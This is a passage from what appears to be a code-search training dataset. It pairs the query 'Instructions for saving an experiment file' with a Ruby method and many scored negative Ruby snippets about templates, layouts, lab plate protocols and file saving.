vip = { :hostname => \"backend.opscode.piab\",\n :ipaddress => \"33.33.33.20\" }\n else\n backend_name = @config[:layout][:backends].keys.first\n vip = @config[:layout][:backends][backend_name]\n end\n\n @config[:layout][:backend_vip] = {\n :hostname => vip[:hostname],\n :ipaddress => vip[:ipaddress],\n # TODO(jmink) figure out a smarter way to determine devices\n :device => backend_vip_device,\n :heartbeat_device => backend_vip_heartbeat_device\n }\n\n provider_specific_config_modification()\n end", "def pack_template\n selfclass.pack_template\n end", "def template_params\n params.require(:template).permit(:selected,:theme_color,:template_no,:name, :variant_display_type, :is_allowed_custom_theme)\n #params[:template]\n end", "def design_name\n\n if 1 == 2 # self.part_number_id == 0\n design_name = self.prefix.pcb_mnemonic + self.number\n design_name += self.revision.name if self.revision && self.revision_id > 0\n \n case self.entry_type\n when 'dot_rev'\n design_name += self.numeric_revision.to_s if self.numeric_revision > 0\n when 'date_code'\n design_name += self.numeric_revision.to_s if self.numeric_revision && self.numeric_revision > 0\n design_name += '_eco'\n design_name += self.eco_number\n end\n \n \"#{design_name} (\" + \n self.prefix.pcb_number(self.number,\n self.revision.name,\n self.numeric_revision) + ')'\n else\n self.pcb_number\n end\n \n end", "def layout_template_file(program:)\n template_file(\n template_name: program.layout_template_name,\n extension: :LAYOUT_EXT\n )\n end", "def main\n platform = @handle.root['platform']\n @handle.log(\"info\", \"Detected Platform:<#{platform}>\")\n\n if platform.nil?\n source_id = @handle.root['dialog_input_src_vm_id']\n source = @handle.vmdb('vm_or_template', source_id) unless source_id.nil?\n platform = source ? source.model_suffix.downcase : \"vmware\"\n end\n\n dialog_name_prefix = \"miq_provision_#{platform}_dialogs\"\n @handle.object['dialog_name_prefix'] = dialog_name_prefix\n @handle.log(\"info\", \"Platform:<#{platform}> dialog_name_prefix:<#{dialog_name_prefix}>\")\n end", "def setup_stripwell_plate(collection:, method:, program_name:, group_size:)\n collection.associate(:program_name, program_name)\n collection.associate(:group_size, group_size)\n qpcr_reaction = Sample.find_by_name('Test qPCR Reaction')\n\n layout_generator = PlateLayoutGeneratorFactory.build(\n group_size: group_size,\n method: method,\n dimensions: collection.dimensions\n )\n\n loop do\n layout_group = layout_generator.next_group\n break unless layout_group.present?\n\n layout_group.each do |r, c|\n collection.set(r, c, qpcr_reaction)\n part = collection.part(r, c)\n part.associate(PRIMER_PROBE_MIX_KEY, 'added')\n end\n end\n\n show_result(collection: collection)\n end", "def template; end", "def template; end", "def template; end", "def template; end", "def template; end", "def template; end", "def template; end", "def dmptemplate\n #self.project.try(:dmptemplate) || Dmptemplate.new\n self.template\n end", "def scaffold_template\r\n template = Template.new(title: 'Test template',\r\n description: 'My test template', \r\n links: {\"funder\":[],\"sample_plan\":[]},\r\n org: Org.first, migrated: false, dmptemplate_id: \"0000009999\")\r\n\r\n template.phases << Phase.new(title: 'Test phase',\r\n description: 'My test phase',\r\n number: 1, template: template)\r\n\r\n template.phases.first.sections << Section.new(title: 'Test section',\r\n description: 'My test section',\r\n number: 99, phase: template.phases.first)\r\n\r\n section = template.phases.first.sections.first\r\n i = 1\r\n # Add each type of Question to the new section\r\n QuestionFormat.all.each do |frmt|\r\n question = Question.new(text: \"Test question - #{frmt.title}\", number: i,\r\n question_format: frmt, section: section)\r\n\r\n if frmt.option_based?\r\n 3.times do |j|\r\n question.question_options << QuestionOption.new(text: \"Option #{j}\", number: j, question: question)\r\n end\r\n end\r\n\r\n section.questions << question\r\n i += 1\r\n end\r\n\r\n template.save!\r\n assert template.valid?, \"unable to create new Template: #{template.errors.map{|f, m| f.to_s + ' ' + m}.join(', ')}\"\r\n @template = template.reload\r\n end", "def setup_test_plate(collection:, method:)\n collection.associate(:program_name, debug_parameters[:program_name])\n collection.associate(:group_size, debug_parameters[:group_size])\n qpcr_reaction = Sample.find_by_name('Test qPCR Reaction')\n\n layout_generator = PlateLayoutGeneratorFactory.build(\n group_size: 24,\n method: :cdc_primer_layout\n )\n\n loop do\n layout_group = layout_generator.next_group\n break unless layout_group.present?\n\n layout_group.each do |r, c|\n collection.set(r, c, qpcr_reaction)\n part = collection.part(r, c)\n part.associate(MASTER_MIX_KEY, 'added')\n end\n end\n\n if method == :master_mix\n show_result(collection: collection) if VERBOSE\n inspect_data_associations(collection: collection) if VERBOSE\n return\n end\n\n layout_generator = PlateLayoutGeneratorFactory.build(\n group_size: debug_parameters[:group_size],\n method: :cdc_sample_layout\n )\n layout_group = layout_generator.next_group\n layout_group.each do |r, c|\n part = collection.part(r, c)\n part.associate(TEMPLATE_KEY, 'added')\n end\n\n show_result(collection: collection) if VERBOSE\n inspect_data_associations(collection: collection) if VERBOSE\n end", "def get_template(template); end", "def select_and_fill_templates\n template = @user_input.select_template(@label_printer)\n label = fill_in_the_template(template[:text], LABEL_TEMPLATE_NAME)\n @labels << {TEMPLATE_KEY => template[:name]}.merge!(label)\n\n # ask if the user would like to add another label to the print\n select_and_fill_templates if @user_input.another_label?\n\n {:labels => @labels }\n end", "def select_layout\n (ios_client? || nook?) ? false : \"lifesize_popup\"\n end", "def choose_plate plates\n # Weighted choice based on frontier length - if we do it perfectly uniform\n # then we end up with plates that \"compress\" into small remaining places\n # which results in \"snaky\" plates and weird convergence points between\n # many plates\n \n # TODO: could probably pull weighted randoms into a different module\n total = plates.map(&:frontier_length).inject(&:+)\n\n # TODO: using a uniform random generator here gives plates that are all\n # roughly the same size - kinda boring, maybe try using a non-uniform\n # distribution here\n point = rand(total)\n\n idx = 0\n begin\n while point > plates[idx].frontier_length\n point -= plates[idx].frontier_length\n idx += 1\n end\n rescue\n # TODO: fix this - once in a while we get an out of bounds problem here\n puts $!\n puts $!.backtrace.join(\"\\n\")\n puts \"Point: #{point}\"\n puts \"Idx: #{idx}\"\n puts \"Total: #{total}\"\n end\n\n idx\n end", "def default_codaveri_solution_template\n {\n path: '',\n prefix: '',\n content: '',\n suffix: ''\n }\n end", "def template_name\n name.split(\"::\").last.downcase.gsub(/onebox/, \"\")\n end", "def template(name); end", "def template_name; end", "def template_name; end", "def templates; end", "def layout_contents\n @layout = <<-LAYOUT\n blueprint-deploy:\n layout: #{spec_bp_name} # name of the layout file we use\n blueprint : #{spec_bp_name} # name of the default blueprint\n servers:\n - server1:\n name: util\n applications:\n - app1:\n - app2:\n - server2:\n name: review\n applications:\n - app1:\n - app3:\n LAYOUT\n @layout\n end", "def setting_template_key\n if journal_task_type\n \"TaskTemplate:#{journal_task_type.kind}\"\n else\n \"TaskTemplate:#{card.name}\"\n end\n end", "def template\n with_template_factory do |template_factory|\n template = template_factory.build('Test', {})\n puts Graphics::Debugger.new(template).debug\n end\n end", "def template\n @part.content\n end", "def layouts=(_arg0); end", "def layouts=(_arg0); end", "def resuspend ops_to_plate\n show do\n title \"Resuspend in water and plate\"\n \n check \"Add 200 µl of MG water to the following mixtures: #{ops_to_plate.map { |op| op.output(\"Transformation\").item.id}.to_sentence}.\"\n check \"Vortex each tube to fully resuspend cells.\"\n check \"Flip the plates and add 4-5 glass beads to it, add 200 µl of mixtures on each plate.\"\n warning \"Add each volume of mixture to the plate with the matching ID.\"\n end\n end", "def _layout_for_option(name); end", "def register_modality_to_t1\n # For ASL, we ill use the PD image because it's information is closer to\n # anatomical than the computed flow maps, bringing along the flow maps. \n\n # system(\"spm8\")\n # Click Coregister - Estimate and Reslice\n # Reference Image: Select the BRAVO\n # Source Image: Select the PD Map\n # Other Images: Select the ASL Map\n # Use other defaults (NMI, etc.) \n end", "def rna_prep_steps(working_plate)\n show do\n title 'Run RNA-Prep'\n note \"Run typical RNA-Prep Protocol with RNA plate #{working_plate.id}\n and adapter plate #{working_plate.get(ADAPTER_KEY).class}\"\n table highlight_non_empty(working_plate, check: false)\n end\n end", "def mtus\n build_system_layout\n @mtus\n end", "def maker_layout_params\n params.require(:maker_layout).permit(:supplier_number, :location_code, :address, :city, :state, :country)\n end", "def main\n\n operations.make\n \n operations.each {|op|\n new_experimental_plt = op.output(OUTPUT).collection\n note = op.input(NOTE).val.to_s\n if note != '' || note != nil || note != ' '\n note_entered = true\n key = 'Note'\n Item.find(new_experimental_plt.id).associate key.to_sym, note\n end\n show {\n title \"New Experimental Plate Created\"\n separator\n note \"Output Item: <b>#{new_experimental_plt}</b>\"\n bullet \"Output Object Type: <b>#{new_experimental_plt.object_type.name}</b>\"\n (note_entered) ? (bullet \"Note: <b>#{note}</b>\") : nil\n }\n }\n \n return {}\n \n end", "def poet_selection_instructions\n puts \"\"\n puts \"Type the number of a poet whose poems you would like to read.\"\n\t\tputs \"Or type menu to go up one menu.\"\n puts \"Or type exit to end the program.\"\n puts \"\"\n end", "def scaffold_template\n template = Template.new(title: 'Test template',\n description: 'My test template', \n links: {\"funder\":[],\"sample_plan\":[]},\n org: Org.first, archived: false, family_id: \"0000009999\")\n\n template.phases << Phase.new(title: 'Test phase',\n description: 'My test phase',\n number: 1, template: template)\n\n template.phases.first.sections << Section.new(title: 'Test section',\n description: 'My test section',\n number: 99, phase: template.phases.first)\n\n section = template.phases.first.sections.first\n i = 1\n # Add each type of Question to the new section\n QuestionFormat.all.each do |frmt|\n question = Question.new(text: \"Test question - #{frmt.title}\", number: i,\n question_format: frmt, section: section)\n\n if frmt.option_based?\n 3.times do |j|\n question.question_options << QuestionOption.new(text: \"Option #{j}\", number: j, question: question)\n end\n end\n\n section.questions << question\n i += 1\n end\n\n template.save!\n assert template.valid?, \"unable to create new Template: #{template.errors.map{|f, m| f.to_s + ' ' + m}.join(', ')}\"\n @template = template.reload\n end", "def select_template template\n\t\tpage_div = $browser.div(:xpath => \"//div[@class='template-categories_category-name'][contains(text(), '\"+template+\"')]\")\n\t\tpage_div.click\n\tend", "def grab_plate plate_batch_ids, grab_plate_tab\n show do\n title \"Grab plate\"\n \n note \"Grab the following plates from batches #{plate_batch_ids.join(\", \")} and label with your initials, the date, and the following ids on the top and side of each plate.\"\n table grab_plate_tab\n end\n end", "def prepare_materials(ops, composition)\n # ops.each do |op|\n # add_hidden_input(op, DYE_SAMPLE, dye)\n # add_hidden_input(op, POLYMERASE_SAMPLE, polymerase)\n # end\n\n templates = ops.map { |op| op.input(TEMPLATE).item }\n\n fwd_primers = get_primer_set(ops, FORWARD_PRIMER)\n rev_primers = get_primer_set(ops, REVERSE_PRIMER)\n\n items_to_take = [templates, fwd_primers, rev_primers]\n\n if composition.polymerase.item\n items_to_take << composition.polymerase.item\n end\n\n if composition.dye.item\n items_to_take << composition.dye.item\n end\n\n take(items_to_take.flatten, interactive: true, method: 'boxes')\n\n vortex_samples([fwd_primers, rev_primers, templates])\n end", "def build_scene\n boards = TicTacToeEngine::TTT::CONFIG.boards\n scene.build do\n menu do\n label\n board_selection do\n boards.keys.each do |key|\n if boards[key][:active]\n if key == :'3x3'\n board_3x3 :id => 'board_3x3', :players => 'board_type'\n end\n if key == :'4x4'\n board_4x4 :id => 'board_4x4', :players => 'board_type'\n end\n end\n end\n end\n end\n __install \"options_scene/partial_options.rb\"\n end\n end", "def template_name\n command.text_value\n end", "def set_plate\n @plate = Plate.find(params[:id])\n end", "def set_plate\n @plate = Plate.find(params[:id])\n end", "def set_plate\n @plate = Plate.find(params[:id])\n end", "def set_plate\n @plate = Plate.find(params[:id])\n end", "def template_from_params\n case params[:view]\n when 'scouts'\n 'scouts'\n else\n 'liiikes'\n end\n end", "def manual_review_needed_template\n 'manual_review_needed'\n end", "def configure_pack_material\n return if authorise_for_web('pack_material_product','create')== false\n\tbegin\n\t\trender :inline => %{\n\t\t<% @content_header_caption = \"'select pack material type and subtype'\"%> \n\n\t\t<%= build_set_type_form('configure_pack_material_step2')%>\n\n\t\t}, :layout => 'content'\n\t rescue\n\t handle_error(\"Pack material form could not be rendered\")\n\t end\n\n\nend", "def choose_generation()\n generate_selection()\n\n # Synchronuously (pause the init code) show the selection applet.\n System.run(LOADER, \"/applets/boot-selection.mrb\")\n\n # Read data from the user\n data = JSON.parse(File.read(\"/run/boot/choice\"))\n generation = data[\"generation\"]\n @use_generation_kernel = data[\"use_generation_kernel\"]\n\n # Why \"$default\" rather than passing a path?\n # Because there may be no generations folder. It's easier to cheat and\n # use \"$default\" and rely on the existing default \"maybe rehydrate\"\n # codepath.\n if generation == \"$default\"\n default_generation()\n else\n generation\n end\n end", "def purpose\n labware.plate_purpose\n end", "def show_pipet_mmix(primer_mix_name:, volume:, collection:, layout_group:)\n show do\n title \"Pipet #{primer_mix_name} master mix into plate\"\n\n note \"Pipet #{volume} #{MICROLITERS} of #{primer_mix_name}\" \\\n \" master mix into the plate #{collection}\"\n table highlight_collection_rc(collection, layout_group, check: false)\n end\n end", "def element_template(context={}, aspect_model)\n \n app = context[:app]\n \n renderer = ::UI::FieldSetRender.new('photo', app) \n photo_template = renderer.render('view', 'em')\n \n end", "def template_guide\n @title = \"Template Guide\"\n end", "def element_template(context={}, aspect_model)\n \n app = context[:app]\n \n renderer = ::UI::FieldSetRender.new('location', app) \n location_template = renderer.render('view', 'em')\n \n end", "def layout=(_arg0); end", "def create(template)\n rc = validate(template)\n\n return rc if OpenNebula.is_error?(rc)\n\n xml = OneProvision::Provider.build_xml\n provider = OneProvision::Provider.new(xml, @client)\n\n rc = provider.allocate(rc)\n\n return rc if OpenNebula.is_error?(rc)\n\n rc = provider.info(true)\n\n return rc if OpenNebula.is_error?(rc)\n\n provider['ID']\n end", "def _implied_layout_name; end", "def intro\n plate_reader = PlateReader.new\n show do\n title \"Plate Reader Measurements\"\n separator\n note \"This protocol will instruct you on how to take measurements on the #{plate_reader.type} Plate Reader.\"\n note \"Optical Density is a quick and easy way to measure the growth rate of your cultures.\"\n note \"Green Fluorescence helps researchers assess a response to a biological condition <i>in vivo</i>.\"\n note \"<b>1.</b> Setup #{plate_reader.type} Plate Reader Software workspace.\"\n note \"<b>2.</b> Check to see if input item is a #{plate_reader.valid_containers} if not, transfer samples to a valid container.\"\n note \"<b>3.</b> Prepare measurement item with blanks.\"\n note \"<b>4.</b>Take measurement, export data, & upload.\"\n end\n return plate_reader\n end", "def content_element_template(context={})\n \n app = context[:app]\n \n renderer = UIFieldSetRender::FieldSetRender.new('photo', app) \n photo_template = renderer.render('view', 'em')\n \n end", "def label_and_parafilm\n show do \n title \"Label and Parafilm\"\n \n plates_to_parafilm = operations.reject { |op| op.temporary[:delete] || op.temporary[:re_incubate] }.map { |op| op.input(\"Plate\").item.id }\n note \"Perform the steps with the following plates: #{plates_to_parafilm.join(\",\")}\"\n note \"Label the plates with their item ID numbers on the side, and parafilm each one.\"\n note \"Labelling the plates on the side makes it easier to retrieve them from the fridge.\"\n end\n end", "def linetool\n Sketchup.active_model.select_tool LineTool.new\nend", "def build_from_template(template, data = {}, layout = true)\n cont = File.read(template_file(template)).miga_variables(data)\n return cont unless layout\n\n build_from_template(\n 'layout.html',\n data.merge(content: cont, project_name: cli.load_project.name),\n false\n )\n end", "def generate_panacea_document\n template \"templates/PANACEA.tt\", \"PANACEA.md\"\n end", "def inject_into_layout\n application_layout_path_prefix = 'app/views/layouts/application.html'\n\n api_key = ask 'What is your kit ID (leave blank to specify later):'\n api_key = '- YOUR KIT ID HERE -' if api_key.blank?\n\n layout_templates = { slim: { content: \" = typekit '#{api_key}'\", after: \"head\\n\" }}\n layout_templates[:erb] = { content: \" <%#{layout_templates[:slim][:content].lstrip} %>\", after: \"<head>\\n\" }\n\n layout_templates.each_pair do |lang,options|\n path = ::File.join(destination_root, \"#{application_layout_path_prefix}.#{lang}\")\n if ::File.exists?(path)\n inject_into_file path, after: options[:after] do\n \"#{options[:content]}\\n\"\n end\n end\n end\n end", "def template\n Pathname.new(@template || OodPortalGenerator.root.join('templates', 'ood-portal.conf.erb'))\n end", "def create_sketch\n # Process header separately since it must be first.\n template_list = Array.new\n header = Component.find_by_name_and_category(\"header\", \"general\")\n template_list.push(return_segments(header))\n\n # Config keys are the top-level JSON hashes. We use those as categories\n # for gathering components\n config.keys.each do |c|\n template_list.push(gather_components(c))\n end\n\n footer = Component.find_by_name_and_category(\"footer\", \"general\")\n template_list.push(return_segments(footer))\n template_list.flatten!\n\n global = template_list.map { |g| g[:global] }.join(\"\")\n setup = template_list.map { |g| g[:setup] }.join(\"\")\n loop = template_list.map { |g| g[:loop] }.join(\"\")\n sketch = [global, setup, loop].join(\"\\n\")\n \n # Write sketch file\n File.open get_sketch_file, \"w\" do |file|\n file << sketch\n end\n\n # Write sketch configuration\n configfile = get_src_dir + \"config.json\"\n File.open configfile, \"w\" do |file|\n file << self.as_json(:only => Component.where(:category => \"general\"))\n file << self.config\n end\n end", "def get_mktg_layout( affiliate_name )\n logger.debug( [ 'mktg_layout', \"../#{$pjpp_country_version}/#{$pjpp_template_set}/partner/#{affiliate_name}/layout\" ] )\n raise ActiveRecord::RecordNotFound.new('no such partner') unless Affiliate.by_name( affiliate_name )\n \"../#{$pjpp_country_version}/#{$pjpp_template_set}/partner/#{affiliate_name}/layout\"\n end" ]
[ "0.5981433", "0.59103215", "0.59103215", "0.5826337", "0.57864827", "0.5761337", "0.5741535", "0.5670217", "0.5623198", "0.5589102", "0.55701387", "0.55457544", "0.5529409", "0.5521252", "0.5429765", "0.5416005", "0.539734", "0.5386494", "0.53474295", "0.53448063", "0.5324138", "0.5324138", "0.5307794", "0.5287431", "0.52526265", "0.5221752", "0.52140766", "0.5208528", "0.51759255", "0.51754016", "0.5154107", "0.5151869", "0.5145968", "0.5125434", "0.5125434", "0.5125434", "0.5125434", "0.5125434", "0.5125434", "0.5125434", "0.5122369", "0.5119484", "0.51155007", "0.51154697", "0.51152575", "0.50916684", "0.5082718", "0.5081864", "0.50649196", "0.50644743", "0.5058033", "0.5058033", "0.50561494", "0.50538063", "0.50537276", "0.504904", "0.50450706", "0.5029462", "0.5029462", "0.50277567", "0.5022819", "0.5021516", "0.5018678", "0.50151", "0.50069237", "0.5005092", "0.50025517", "0.49820307", "0.49691755", "0.4966762", "0.4965076", "0.4960655", "0.4958161", "0.495677", "0.495677", "0.495677", "0.495677", "0.49552378", "0.49529305", "0.49506184", "0.49479035", "0.49446008", "0.49378973", "0.4926233", "0.49246904", "0.4922459", "0.49162018", "0.4905105", "0.48993227", "0.48974347", "0.4884718", "0.48836994", "0.48789102", "0.4867069", "0.486068", "0.48575187", "0.48515058", "0.4849241", "0.48470265" ]
0.654298
1
Instructions for saving an experiment file
def save_experiment_file(filename:) "Save the experiment as #{filename} in #{params[:experiment_filepath]}" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def save(filename)\n writeln(\"save '#{filename}'\")\n end", "def save fname, options={}\n File.open(fname,\"wb\"){ |f| f << export(options) }\n end", "def cmd_save argv\n setup argv\n e = @hash['elements']\n filepath = @hash['filepath'] || \"config.json\"\n response = @api.save(e, filepath)\n msg response\n return response\n end", "def save_to(path); end", "def save\n file_name = ask_save_file\n save_file = File.open(file_name, 'w')\n save_file.puts(serialize)\n save_file.close\n puts \"Game has been saved to Save File #{file_name[-5]}!\"\n puts \"\\n\\n\"\n end", "def save!; File.write @path, @data end", "def save(prog, problem_id)\n FileUtils::mkdir_p get_workspace_for_problem(problem_id) # make the directory\n path = File.join(get_workspace_for_problem(problem_id), prog.original_filename) # create the file path\n File.open(path, \"wb\") { |f| f.write(prog.read) } # write the file\n end", "def save\n File.open(@test_name, \"w+\") do |file|\n file.write(render)\n end\n end", "def save\n\n playerset('')\n $savefile = File.new(\"../Resources/Saves/save.txt\", \"w\")\n $savefile.puts(@@hand, @@ehand)\n cputs(\"saved\", \"green\")\n\nend", "def save_as(filename = T.unsafe(nil)); end", "def save_as(filename = T.unsafe(nil)); end", "def save_as(filename = T.unsafe(nil)); end", "def save(options = {})\n save_to(@path, options)\n end", "def save_to_file\n File.open(\"results/#{seq_name}\"+\".txt\", 'w') { |file|\n \n n=1\n \n @actions.each do |a|\n file.puts a.description\n n +=1 \n end\n } \n \n end", "def save_as(path)\n contents = generate\n path.open('w') do |f|\n f.write(contents)\n end\n end", "def save_as(path)\n contents = generate\n path.open('w') do |f|\n f.write(contents)\n end\n end", "def save_as(path)\n contents = generate\n path.open('w') do |f|\n f.write(contents)\n end\n end", "def save_as(path)\n contents = generate\n path.open('w') do |f|\n f.write(contents)\n end\n end", "def save_as(path)\n contents = generate\n path.open('w') do |f|\n f.write(contents)\n end\n end", "def create_save\n @save_data = {:turns => @turns,:guesses => @guesses,:secret_word => @secret_word, :hidden_word => @hidden_word}\n save = File.new(\"./lib/save.txt\", \"w+\")\n save.puts JSON::dump(save_data)\n save.close\n end", "def save(filename = T.unsafe(nil)); end", "def save(filename = T.unsafe(nil)); end", "def save\n save_to_file(@output_file, @contents)\n end", "def click_save_saveas_popup(title, save_file_path)\n click_button_saveas_or_openas_popup(title, save_file_path, \"&Save\")\nend", "def save\n file = File.new(@file,\"w+\")\n @properties.each {|key,value| file.puts \"#{key}=#{value}\\n\" }\n file.close\n end", "def saveFile(saveTag)\n aFile = File.new(\"config.version\", \"w+\")\n if aFile\n aFile.syswrite(\"version=#{saveTag}\")\n aFile.close\n else\n puts \"Unable to write a config.version file!\"\n end\n end", "def save_game\n file_name = input_save_name\n begin\n Dir.mkdir('saves') unless Dir.exist?('saves')\n save_file = File.new(file_name, 'w')\n save_file.puts generate_save\n save_file.close\n puts 'Game saved!'\n rescue IOError\n puts 'Save failed'\n end\n end", "def save_instructions\n file = 'TODO'\n text = \"### TO-DO for #{name.upcase} feature:\\n\\n#{instructions}\\n\\n\\n\"\n\n in_root do\n create_file file unless File.exists? file\n append_to_file file, text\n end\n end", "def write_save_data(file)\r\n write_characters(file)\r\n write_frame(file)\r\n write_setup(file)\r\n write_data(file)\r\n end", "def save(overwrite=true)\n write_file(overwrite, @filename)\n end", "def save\n file = File.new(@file, 'w+')\n @properties.each { |key, value| file.puts \"#{key}=#{value}\\n\" }\n end", "def save filename = nil\n filename = find_free_name filename\n save! filename\n end", "def save\n filename = Time.now.strftime(\"measures-%Y-%m-%d-%H%M%S.json\")\n dirname = \"goals/measures\"\n hash = { \"objective\" => @name}\n @outcomes.each {|o|\n hash.store(\"outcome\", o.name)\n hash.store(\"scale\", \"#{o.scale.class.name}.rb\")\n hash.store(\"baseline\", o.baseline)\n hash.store(\"baseline date\", o.baseline_date)\n hash.store(\"target\", o.target)\n hash.store(\"target date\", o.target_date)\n hash.store(\"measure\", o.last_measure.value)\n hash.store(\"measure date\", Time.now.strftime(\"%b %-d, %Y\"))\n }\n\n if !File.exists? dirname\n FileUtils.mkdir_p dirname\n end\n\n File.open(\"#{dirname}/#{filename}\",\"a\") do |f|\n f.write(JSON.pretty_generate(hash))\n f.write(\"\\n\")\n end\n end", "def save\n File.open(SaveLocation, 'w') do |file|\n file.puts @value.join(\"\")\n file.puts @progress.join(\"\")\n file.puts @bad_guesses.join(\"\")\n end\n end", "def save(filename, data)\n\tf = File.open(filename, 'w')\n\tf.puts(data)\n\tf.close\nend", "def save_as(path)\n generate.save_as(path)\n end", "def save_as(path)\n generate.save_as(path)\n end", "def save\n file = File.new(@file,\"w+\")\n @properties.each {|key,value| file.puts \"#{key}=#{value}\\n\" }\nend", "def save_to(directory, options = T.unsafe(nil)); end", "def save\n @filename = @filename || gen_filename\n file = File.open(File.join(@dir, @filename), 'w') { |f|\n f.puts @issue.to_yaml\n }\n end", "def save_file\n raise ArgumentError, 'Need a Path to save the file' if @path.nil?\n File.open(@path, 'w') do |f|\n f.write to_s\n end\n end", "def save!\n begin\n case filename\n when STDOUT_FLAG\n $stdout.write(contents)\n else\n ::File.open(@filename,\"w\") do |f|\n f.write(contents)\n end\n end\n @dirty = false\n rescue => e\n raise FileAccessError, \"Error saving file #{@filename} : #{e.message}\"\n end\n end", "def create_save\n @save_data = {:turns => @turns,:guesses => @guesses,:secret_word => @secret_word, :hidden_word => @hidden_word}\n save = File.new(\"save.txt\", \"w+\")\n save.puts JSON::dump(save_data)\n save.close\n end", "def save! path\n File.open(path, 'w') do |file|\n file.write(to_s)\n end\n end", "def save_file\r\n @saved = true\r\n saving\r\n Dir.mkdir(\"saves\") unless Dir.exists? \"saves\"\r\n File.open(\"my_save.yaml\", \"w\") {|f| f.puts YAML::dump(self) }\r\n end", "def save(filename = nil, compact = false)\n\t\tend", "def save! target=\"./Notes\"\n filename = File.join(target, \"#{@title}.txt\")\n\n Faceoff.safe_save(filename) do |file|\n file.write self.to_s\n end\n end", "def save_game\n #yaml = YAML::dump(self)\n puts \"Please enter a filename for the saved game.\"\n save_file_name = gets.chomp.downcase\n save_file = File.write(\"saved_games/#{save_file_name}.yaml\", self.to_yaml)\n #save_file.write(yaml)\n puts \"Your game has been saved!\"\n puts \"Goodbye!\"\n end", "def save(idea)\n print \"File encoded. Please enter a name for this idea: \"\n idea_name = $stdin.gets.strip\n File::open( \"idea-\" + idea_name + \".md\", \"w\" ) do |f|\n f << idea\n end\n end", "def save_to_file(path)\n variables_to_save = instance_variables.reject { |v| v =~ /_proc$/ || v =~ /^@med/ }\n File.open(path, 'w') { |f| f.puts(\n variables_to_save.inject({}) { |h,n| h[n] = instance_variable_get(n); h }.to_yaml\n ) }\n end", "def export\n @scenario.export\n send_file \"#{@scenario.bin_file_name}.new\", type: 'application/octet-stream'\n end", "def save!\n raise Informative, 'This XCScheme object was not initialized ' \\\n 'using a file path. Use save_as instead.' unless @file_path\n File.open(@file_path, 'w') do |f|\n f.write(to_s)\n end\n end", "def make_save_contents\n contents = rm_extender_make_save_contents\n contents[:self_vars] = $game_self_vars\n contents[:labels] = $game_labels\n contents[:self_labels] = $game_self_labels\n contents\n end", "def save_game\n save_data = YAML::dump(self)\n puts \"Please enter a name for your save game:\"\n prompt\n @filename = gets.chomp\n File.open(\"./saved/#{@filename}\", \"w\") { |file| file.write(save_data)}\n puts \"Saved\"\n get_input\n end", "def save(id, file_data)\n\t\tpuzzle_path = \"./puzzles/puzzle-#{ id }.pdf\"\n\t\topen(puzzle_path, \"wb\") do |file|\n\t\t\tfile << file_data\n\t\tend\n\tend", "def write_example\n path.open(\"w\") { |file| file << EXAMPLE }\n path.chmod(0600)\n end", "def specification!\n \t\tFile.open(@dir + '/specification.yaml', 'w' ) do |out|\n \t\t\tYAML.dump({:name => @experiment, :date => Time.now, :configuration => Experiment::Config.to_h, :cross_validations => @cvs, :params => @@params}, out )\n \t\tend\n \tend", "def outfile( ext = '', desc = 'Where to save the report.' )\n Options::String.new( 'outfile', [ false, desc,\n Time.now.to_s.gsub( ':', '.' ) + ext ] )\n end", "def save\n File.open(@file, 'w') do |file|\n file.write(Psych.dump(@params))\n end\n @saved = true\n end", "def autosave; end", "def save(filename)\n File.open(filename,'w') { |file| file << to_string }\n end", "def save_output\n\n end", "def save!\n @shell_file.exports = @commands\n @shell_file.write!\n end", "def save_game\n Dir.mkdir(\"../saves\") unless Dir.exists?(\"../saves\")\n @@save_count += 1\n binding.pry\n log_saves\n savefile = \"../saves/save_#{@@save_count}.yml\"\n File.open(savefile, 'w') do | file |\n file.write(self.to_yaml)\n end\n end", "def display_and_save_description(label, description)\n puts \"Starting round: #{label}\"\n puts description\n\n output = File.open(\"challenges/#{label}.txt\", 'w')\n output << description\n output.close\n puts \"Challenge description saved to file: #{output.path}.\"\n\n 'OK'\nend", "def save!\n path = File.join(basedir, computed_filename)\n Rails.logger.info \"Saved GPX file as #{path}\"\n file = File.new(path, 'wb')\n file.write contents\n file.close\n file\n end", "def save(how = :to_yaml)\n file = @tlog.repository.join('spool').join(filename)\n contents = send(how)\n Info << \"#{component.name}: write #{how}(#{contents.size}Bytes) to #{file}\"\n file.open('w+') do |file|\n file.write(contents)\n end\n contents.size\n end", "def save\n prepare\n h = {}\n h[:title] = @title\n h[:sequence] = @sequence.map(&:export)\n outfile = File.join(@basedir, \"#{@name}.json\")\n File.open(outfile, 'w') do |f|\n f.write JSON.pretty_generate(h)\n end\n end", "def save(dir)\n # Ruta dataset\n dataset_path = \"#{dir}/#{@name}/%s_#{@memory}\"\n\n # Rutas de archivos para el dataset\n sample_file = dataset_path % 'sample'\n summary_file = dataset_path % 'summary'\n count_file = dataset_path % 'count'\n\n # Se prepara el directorio que contendrá resultados, a no ser que exista\n unless File.exists?(\"\")\n status \"Creating directory #{dir}/#{@name}\", \"mkdir -p #{dir}/#{@name}\"\n end\n\n save_sample sample_file \n save_summary summary_file\n save_count count_file\n end", "def save_to_file\n f = File.open(\"#{IMAGE_DATA_DIR}/#{self.id}\",\"w\")\n f.write(self.data)\n f.close\n end", "def save\n pathname.open('w') { |file| file.write(data) }\n end", "def save(game)\n\t\tprint \"Name the save: \"\n\t\tsave_name = gets.chomp.downcase\n\t\tDir.mkdir \"saves\" unless Dir.exists? \"saves\"\n\t\tfile_path = File.join(\"saves\", \"#{save_name}\")\n\t\tFile.open(file_path, \"w\") { |f|\n\t\t\tf.write(YAML.dump(game))\n\t\t}\n\t\tputs \"The game has been saved!\"\n\tend", "def save!\n Powirb.log.debug(\"[#{wid}] saving on #{@filename}\")\n File.open(@filename, 'w+') {|io| io.puts @doc}\n end", "def generate\n\t\t dir = \"./experiments/\" + @arguments.first\n\t\t\tDir.mkdir(dir)\n\t\t\tFile.open(dir + \"/\" + @arguments.first + \".rb\", \"w\") do |req_file|\n\t\t\t req_file.puts \"# ## #{as_human_name @arguments.first} ##\"\n\t\t\t req_file.puts \"# \"+@options.description.split(\"\\n\").join(\"\\n# \")\n\t\t\t req_file.puts\n\t\t\t req_file.puts\n\t\t\t req_file.puts \"# The first contious block of comment will be included in your report.\"\n\t\t\t req_file.puts \"# This includes the reference implementation.\"\n\t\t\t req_file.puts \"# Override any desired files in this directory.\"\n\t\t\t Dir[\"./app/**/*.{rb,o,dll,so,bundle}\"].each do |f|\n\t\t\t next if File.basename(f) == 'extconfig.rb'\n\t\t\t p = 